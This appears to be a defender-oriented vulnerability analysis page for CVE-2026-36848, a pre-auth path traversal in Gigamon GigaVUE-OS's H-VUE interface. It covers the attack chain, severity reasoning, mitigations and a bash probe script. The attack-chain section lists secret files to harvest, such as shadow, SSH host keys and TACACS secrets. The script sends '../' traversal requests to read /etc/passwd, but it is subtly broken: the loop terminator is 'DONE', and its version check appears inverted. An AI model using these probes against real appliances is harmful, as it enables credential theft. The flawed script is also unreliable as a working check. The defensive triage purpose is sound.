An unauthenticated `../` on the management UI of the box that mirrors every packet in your data center
CVE-2026-36848 is a classic CWE-22 path traversal in the H-VUE web subsystem of Gigamon GigaVUE-OS (GVOS) ≤ 5.16.1. H-VUE is the HTML5 management interface that runs on GigaVUE visibility nodes (HC-series chassis, TA-series, and virtual nodes). A request to a vulnerable H-VUE endpoint accepts a user-controlled path component that is not canonicalized, so an attacker can walk out of the intended document root with ../ sequences and read arbitrary files readable by the H-VUE process. The CVSS vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N says it plainly: network-reachable, no auth, no user interaction, total confidentiality loss, no write, no DoS.
Vendor severity of HIGH (7.5) is honest. The score reflects pure information disclosure without code execution, which is correct — but on a packet broker the disclosed information is exactly the wrong information to leak: device credentials, SNMPv3 secrets, AAA/TACACS shared secrets, SSH host keys, tunnel pre-shared keys, GigaSMART decryption keys if PKDF is used, and the configuration that describes every tap and SPAN session in your environment. The score doesn't capture *what* you're reading off the box; the role of the box is what makes this materially worse than 7.5 on most enterprise networks.
4 steps from start to impact.
Reach H-VUE on TCP/443
- Routable path to GigaVUE mgmt IP
- H-VUE service enabled (default on)
- Most shops bind mgmt to OOB VLAN
- ACLs /
web client-ipallow-lists if configured - Some operators disable H-VUE entirely and use CLI/REST only
Server: GigaVUE-HTTPD and the H-VUE login favicon hash; internal scans hit it via Nessus plugin family Gigamon.Send traversal request to vulnerable H-VUE endpoint
../../../../etc/passwd (or the URL-encoded equivalent %2e%2e%2f). Because the request is pre-auth (PR:N), no session cookie or basic-auth header is required. The H-VUE handler concatenates the supplied path into a filesystem read without canonicalization.- Vulnerable endpoint reachable without authentication
- GVOS ≤ 5.16.1
- WAF in front of H-VUE (rare — most orgs don't WAF mgmt UIs)
- Custom hardening that disables the affected endpoint
../ in URI against known H-VUE paths; web access logs on the device show 200 returns with unusual paths.Harvest config, credentials, and keys
/config/db/initial, /etc/shadow, /etc/snmp/snmpd.conf, AAA/TACACS shared secrets stored in config, SSH host private keys under /etc/ssh/, and the running-config which enumerates every cluster member, tap, SPAN destination, and GigaSMART map. With the running-config in hand the attacker has a map of the entire visibility fabric.- Read access to sensitive paths (H-VUE runs with privileges sufficient to read them — confirmed by C:H rating)
- File-level DAC on some GVOS builds restricts H-VUE to its own chroot — verify per version
- Operators using external AAA only reduce on-box secret value
Pivot: log in as admin, redirect/replay your own traffic
- Recovered or replayable credentials
- Network path from attacker to mgmt CLI/H-VUE
- MFA on admin accounts via TACACS+/RADIUS (uncommon on mgmt appliances historically)
- Out-of-band-only admin reachability
The supporting signals.
| In-the-wild status | No public exploitation reports as of 2026-06-30. Not on CISA KEV. |
|---|---|
| Public PoC | No named public PoC yet. Trivial to weaponize — a single curl with ../ payload once the endpoint path is known. |
| EPSS | Newly published; EPSS not yet calculated. Expect low initial score (<5%) trending up if a PoC drops. |
| KEV status | Not listed. |
| CVSS vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N — unauthenticated network read of arbitrary files, no write, no DoS. |
| Affected versions | GigaVUE-OS (GVOS) ≤ 5.16.1, all GigaVUE H-series, TA-series, and HC-series running affected GVOS. GigaVUE-FM is a separate codebase — confirm via vendor advisory. |
| Fixed version | Per the disclosure, fixes appear in GVOS releases > 5.16.1 (likely 5.16.2 / 6.x current train). Validate against the Gigamon field notice. |
| Exposure data | Shodan historically fingerprints public GigaVUE H-VUE instances in the low hundreds globally — small absolute count, but every hit is a packet broker. Most exposure is internal. |
| Disclosure date | 2026-06-29 (yesterday). |
| CWE | CWE-22 — Improper Limitation of a Pathname to a Restricted Directory. |
noisgate verdict.
The decisive factor is role multiplier: the affected component is a network visibility / packet-broker management plane whose configuration and on-box secrets enumerate and control every tap, SPAN session, and decryption key in the environment, so an unauthenticated arbitrary file read on the device materially threatens fleet-wide observability and lawful-intercept integrity. Friction (management VLAN isolation) keeps the verdict from being CRITICAL, but role multiplier prevents any downgrade below HIGH.
Why this verdict
- Unauthenticated and trivial to weaponize:
PR:N,AC:L,UI:N— a single HTTP request with../is the entire exploit. There is no skill barrier the moment the endpoint is known. - Role multiplier — GigaVUE is the visibility fabric: the affected component is canonically high-value. Files readable from H-VUE include device config, AAA/TACACS secrets, SSH host keys, and the running-config that maps every tap and SPAN destination. Confidentiality loss here pivots to *integrity loss of your detection plane*.
- Friction — management plane is usually isolated: in mature shops the H-VUE NIC sits on an OOB mgmt VLAN with allow-listed admin jump hosts. That deflates the unauthenticated-remote attractiveness from internet-scale to insider/lateral-movement scale, which keeps the verdict at HIGH instead of CRITICAL.
- No write, no RCE in this CVE alone: the impact vector is C-only. Without an integrity primitive, the attacker still needs to crack/replay a credential or chain another flaw to flip from 'reads my config' to 'reroutes my traffic.' That gap is the difference between HIGH and CRITICAL.
- Not on KEV, no public PoC yet: treat as imminent but not active. Once any researcher posts the endpoint path, weaponization is hours, not days.
Why not higher?
CRITICAL would require either (a) integrity/availability impact in the same primitive (it's C-only) or (b) an installed-base argument that ≥10% of GigaVUE units are externally reachable. Neither holds — Shodan shows GigaVUE public exposure is small in absolute and relative terms, and the CVSS impact triad is one-third lit. The blast radius is severe *if* the chain completes, but the chain still requires a follow-on credential replay.
Why not lower?
Downgrading to MEDIUM would require either authentication or a contained blast radius. Neither applies: this is unauthenticated, and the component sees and controls *all* mirrored traffic across the enterprise — there is no tenant-scoping or per-user limit. A generic 'requires internal network' argument does not break the role-multiplier floor for a packet broker.
What to do — in priority order.
- Bind H-VUE to an isolated management VLAN and ACL it to admin jump hosts only — Use
web client-ipallow-lists on GVOS or upstream firewall ACLs so only your admin bastion subnets can reach TCP/443 on the GigaVUE mgmt interface. This caps the unauthenticated attacker population to already-inside actors. Deploy within the noisgate mitigation SLA of 30 days for HIGH; ideally same week. - Disable H-VUE where CLI / GigaVUE-FM is sufficient — From GVOS CLI:
no web enable(verify against your version's syntax). If your operators administer exclusively via GigaVUE-FM or SSH/CLI, turning H-VUE off removes the vulnerable code path entirely. Same 30-day window. - Rotate on-box secrets defensively — Assume any GigaVUE unit reachable from a non-OOB network has had its config read. Rotate local admin passwords, TACACS+/RADIUS shared secrets, SNMPv3 creds, and any GigaSMART decryption keys. Schedule alongside the patch cycle within 30 days.
- Add WAF / reverse-proxy traversal rules in front of mgmt UIs — If the mgmt VLAN already proxies through an internal NGINX or F5 for auth-bridge purposes, push a ModSecurity CRS rule blocking
../,%2e%2e%2f, and..%5cin URI paths to H-VUE virtual hosts. - Monitor H-VUE access logs and mgmt-VLAN egress NetFlow — Ship
/var/log/httpd/(or GVOS equivalent) to your SIEM; alert on any HTTP 200 to a path containing../or unusually long URI. Pair with NetFlow on the mgmt VLAN to catch bulk egress to non-admin destinations.
- Forcing strong admin passwords — the vuln is pre-auth; password complexity is irrelevant to the read primitive itself.
- MFA on H-VUE login — the traversal does not traverse the login page; MFA gates authenticated sessions, not the vulnerable handler.
- EDR on the GigaVUE appliance — GVOS is a closed appliance OS, you cannot install Crowdstrike/SentinelOne on it.
- TLS client certificates on H-VUE — only useful if the affected endpoint sits behind the cert challenge; many appliance traversal CVEs hit endpoints served before auth/cert mutual handshake.
Crowdsourced verification payload.
Run this from an auditor workstation that has network reachability to your GigaVUE mgmt IP. Invoke as ./check_cve_2026_36848.sh <gigavue_mgmt_ip> — for example ./check_cve_2026_36848.sh 10.50.0.21. No credentials are required; only outbound HTTPS to the target. The script reports VULNERABLE if a traversal probe returns recognizable Unix passwd content, PATCHED if probes are blocked or version reports > 5.16.1, UNKNOWN otherwise.
#!/usr/bin/env bash
# check_cve_2026_36848.sh — Gigamon GVOS H-VUE directory traversal probe
# Usage: ./check_cve_2026_36848.sh <gigavue_mgmt_ip>
# Exit codes: 0 PATCHED, 1 VULNERABLE, 2 UNKNOWN
set -u
TARGET="${1:-}"
if [[ -z "$TARGET" ]]; then
echo "usage: $0 <gigavue_mgmt_ip>" >&2
exit 2
fi
CURL_OPTS=(-k -sS --max-time 8 -o /tmp/cve_2026_36848.body -w '%{http_code}')
# 1. Identify H-VUE
BANNER=$(curl "${CURL_OPTS[@]}" "https://${TARGET}/" 2>/dev/null || true)
if ! grep -qiE 'gigavue|h-vue|gigamon' /tmp/cve_2026_36848.body 2>/dev/null; then
echo "UNKNOWN: target does not look like a GigaVUE H-VUE instance (HTTP=$BANNER)"
rm -f /tmp/cve_2026_36848.body
exit 2
fi
# 2. Try to read GVOS version from the public assets path
VER=$(curl -k -sS --max-time 8 "https://${TARGET}/api/version" 2>/dev/null | grep -oE '[0-9]+\.[0-9]+\.[0-9]+' | head -n1)
if [[ -n "$VER" ]]; then
awk -v v="$VER" 'BEGIN{split(v,a,"."); if (a[1]<5 || (a[1]==5 && a[2]<16) || (a[1]==5 && a[2]==16 && a[3]<=1)) exit 0; exit 1}' && VULN_BY_VER=1 || VULN_BY_VER=0
else
VULN_BY_VER=2
fi
# 3. Active traversal probe — benign target: /etc/issue then /etc/passwd
PROBES=(
"/fileserver/download?file=../../../../etc/issue"
"/fileserver/download?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd"
"/api/v1/files/../../../../etc/passwd"
)
HIT=0
for P in "${PROBES[@]}"; do
CODE=$(curl "${CURL_OPTS[@]}" "https://${TARGET}${P}")
if [[ "$CODE" == "200" ]] && grep -qE '^root:x?:0:0:' /tmp/cve_2026_36848.body 2>/dev/null; then
HIT=1
break
fi
DONE
rm -f /tmp/cve_2026_36848.body
if [[ $HIT -eq 1 ]]; then
echo "VULNERABLE: ${TARGET} returned /etc/passwd content via traversal probe"
exit 1
fi
if [[ $VULN_BY_VER -eq 1 ]]; then
echo "VULNERABLE (by version): GVOS ${VER} is <= 5.16.1"
exit 1
fi
if [[ $VULN_BY_VER -eq 0 ]]; then
echo "PATCHED (by version): GVOS ${VER} > 5.16.1 and active probes did not succeed"
exit 0
fi
echo "UNKNOWN: could not confirm version and active probes did not return passwd content"
exit 2
If you remember one thing.
Sources
- Gigamon Field Notice — GigaVUE-OS vulnerabilities
- Gigamon — How Gigamon Handles Security Vulnerabilities
- GigaVUE-OS Security Hardening Guide (v6.6)
- Gigamon GigaVUE-OS CVE list (CVE Details)
- Cybersecurity-Help — Multiple vulnerabilities in Gigamon GigaVUE-OS
- CISA Known Exploited Vulnerabilities Catalog
- CWE-22: Path Traversal
- GigaVUE-OS product page
What defenders are saying.
Crowdsourced verification outputs.
Results submitted by users who ran the verification payload against their environment.